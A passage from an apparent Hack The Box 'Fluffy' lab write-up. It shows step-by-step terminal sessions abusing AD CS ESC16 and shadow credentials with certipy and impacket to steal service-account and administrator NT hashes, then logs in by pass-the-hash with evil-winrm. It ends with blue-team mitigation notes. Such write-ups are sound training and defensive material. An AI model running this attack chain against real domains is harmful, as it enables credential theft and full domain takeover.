[*] Saving credential cache to 'ca_svc.ccache'
[+] Attempting to write data to 'ca_svc.ccache'
File 'ca_svc.ccache' already exists. Overwrite? (y/n - saying no will save with a unique filename): y
[+] Data written to 'ca_svc.ccache'
[*] Wrote credential cache to 'ca_svc.ccache'
[*] Trying to retrieve NT hash for 'ca_svc'
[*] Restoring the old Key Credentials for 'ca_svc'
[*] Successfully restored the old Key Credentials for 'ca_svc'
[*] NT hash for 'ca_svc': ca0f4f9e9eb8a092addf53bb03fc98c8

Info: Both of these tools are working but the reason I’m showing both is that I sometime got an error using only certipy because of time synchronization with the DC. Maybe I should consider disabling my normal time sync in the VM and only syncing with the DC during the lab instead of regularly resyncing with rdate.

I can now get a TGT and then authenticate

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Fluffy]
└─$ impacket-getTGT FLUFFY.HTB/ca_svc -hashes :ca0f4f9e9eb8a092addf53bb03fc98c8 -dc-ip 10.129.208.85
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in ca_svc.ccache
                                                                                                                                                                                                                    
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Fluffy]
└─$ export KRB5CCNAME=ca_svc.ccache 
                                                                                                                                                                                                                    
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Fluffy]
└─$ klist   
Ticket cache: FILE:ca_svc.ccache
Default principal: ca_svc@FLUFFY.HTB

Valid starting       Expires              Service principal
11/13/2025 22:09:38  11/14/2025 08:09:38  krbtgt/FLUFFY.HTB@FLUFFY.HTB
        renew until 11/14/2025 22:09:38

The next step is to request the administrator certificate :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(venv)(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Fluffy]
└─$ certipy-ad req -k -target 'DC01.FLUFFY.HTB' -ca 'fluffy-DC01-CA' -template 'User' 
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[!] DC host (-dc-host) not specified and Kerberos authentication is used. This might fail
[!] DNS resolution failed: The DNS query name does not exist: DC01.FLUFFY.HTB.
[!] Use -debug to print a stacktrace
[!] DNS resolution failed: The DNS query name does not exist: FLUFFY.HTB.
[!] Use -debug to print a stacktrace
[*] Requesting certificate via RPC
[*] Request ID is 16
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'

Restore the UPN of the “victim” account.

1
2
3
4
5
6
7
┌──(venv)(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Fluffy]
└─$ certipy-ad account -u 'p.agila@fluffy.htb' -p 'prometheusx-303' -dc-ip '10.129.208.85' -upn 'ca_svc@fluffy.htb' -user 'ca_svc' update 
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Updating user 'ca_svc':
    userPrincipalName                   : ca_svc@fluffy.htb
[*] Successfully updated 'ca_svc'

Warning: It’s very important to restore the UPN. Else it means I will request the cert while the victim account (here ca_svc) still had its UPN set to administrator, and it will result in a certipy error “Name mismatch between certificate and user ‘administrator’“


Root Flag

The final step is to authenticate as administrator using the pfx I obtained previously. I will first get the NTLM hash for administrator :

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(venv)(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Fluffy]
└─$ certipy-ad auth -pfx 'administrator.pfx' -dc-ip '10.129.208.85' -username 'administrator' -domain 'fluffy.htb'
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'administrator'
[*] Using principal: 'administrator@fluffy.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@fluffy.htb': aad3b435b51404eeaad3b435b51404ee:8da83a3fa618b6e3a00e93f676c92a6e

Finally, I will authenticate with a Pass-The-Hash using evil-winrm

1
2
3
4
5
6
7
8
9
10
11
12
┌──(venv)(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Fluffy]
└─$ evil-winrm -i dc01.fluffy.htb -u administrator -H '8da83a3fa618b6e3a00e93f676c92a6e'
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
fluffy\administrator

Mitigations / Blue team notes

1. Patch and harden the initial foothold

  • Patch CVE-2025-24071 (and similar Windows Explorer / library handling issues) on all clients and servers.
  • Avoid leaving vulnerable installers / upgrade notes with explicit CVE references on world-writable shares that normal users browse.
  • Restrict write access to IT / software deployment shares to a small set of trusted admins only.

2. Lock down SMB and NTLM

  • Where possible, disable NTLM or at least limit NTLM usage with NTLM audit policies.
  • Enforce SMB signing (already enabled here) and monitor for suspicious SMB servers on the network that receive authentication attempts.
  • Monitor for outbound NTLM to unusual hosts (workstations should not be sending NTLM auth to random IPs).

3. Harden group memberships and ACLs

  • Review memberships of custom groups like Service Account Managers and Service Accounts:
    • Only highly trusted admins should be able to manage service accounts.
    • Remove unnecessary GenericAll/GenericWrite rights from those groups.
  • Regularly audit ACLs in AD (with BloodHound, AD Explorer, or similar) for:
    • GenericWrite / GenericAll on user and group objects.
    • Dangerous rights over service accounts and tier-0 objects (DCs, CAs, Domain Admins, etc.).
  • Monitor for changes to the msDS-KeyCredentialLink attribute on users and computers:
    • Only Windows Hello / FIDO / device registration services should be editing this.
    • Alert when non-privileged users modify it, or when it is set on service accounts.
  • Consider disallowing Windows Hello for Business or similar key-based logons for:
    • Domain Admins
    • Service accounts
    • Other high-value identities
  • Use Microsoft’s hardening guidance around Key Trust and Certificate Trust deployments for WHfB to minimize abuse.

5. AD CS / ESC16 hardening

To mitigate this exact ESC16 chain:

  • Ensure the CA includes the szOID_NTDS_CA_SECURITY_EXT extension (1.3.6.1.4.1.311.25.2) in issued certificates so UPN spoofing to arbitrary accounts is not allowed.
  • Restrict Enroll permissions on client-auth templates (like User) to:
    • Regular users only for low-risk templates.
    • Never allow low-privileged or service accounts to enroll as arbitrary UPNs.
  • Where possible, use templates with:
    • Strong EKUs (Client Authentication only, not smartcard logon).
    • Mapped to specific security groups, not “Domain Users”.
  • Monitor CA logs for:
    • Certificates issued with UPNs like administrator or other privileged accounts where the requestor is not the same identity.
    • Unusual RPC-based enrollments from non-admin hosts.

6. Kerberos / time synchronization

  • Ensure all domain machines sync time from a single, trusted source (the DC hierarchy, not random NTP).
  • Large time skews can break Kerberos (as shown in the lab) but also:
    • Interfere with detection (SIEM timelines, log correlation).
    • Allow certain replay attacks if clocks are not consistent.

7. Monitoring and detection

  • Collect and alert on:
    • New WinRM sessions, especially from unusual accounts (e.g., service accounts suddenly logging in via WinRM).
    • Certipy/ADCS abuse indicators: lots of failed enrollments, or new templates / CA config changes.
    • Sudden group membership changes (e.g., users being added to Service Accounts, Admins, or other privileged groups).
  • Use tools like Defender for Identity / ATA / Sigma rules to detect:
    • Shadow credentials patterns.
    • Ticket anomalies (PKINIT from unusual accounts, TGTs from odd clients).

Implementing even a subset of these controls would make the Fluffy attack chain much harder or noisier for an attacker to pull off in a real environment.

This post is licensed under CC BY 4.0 by the author.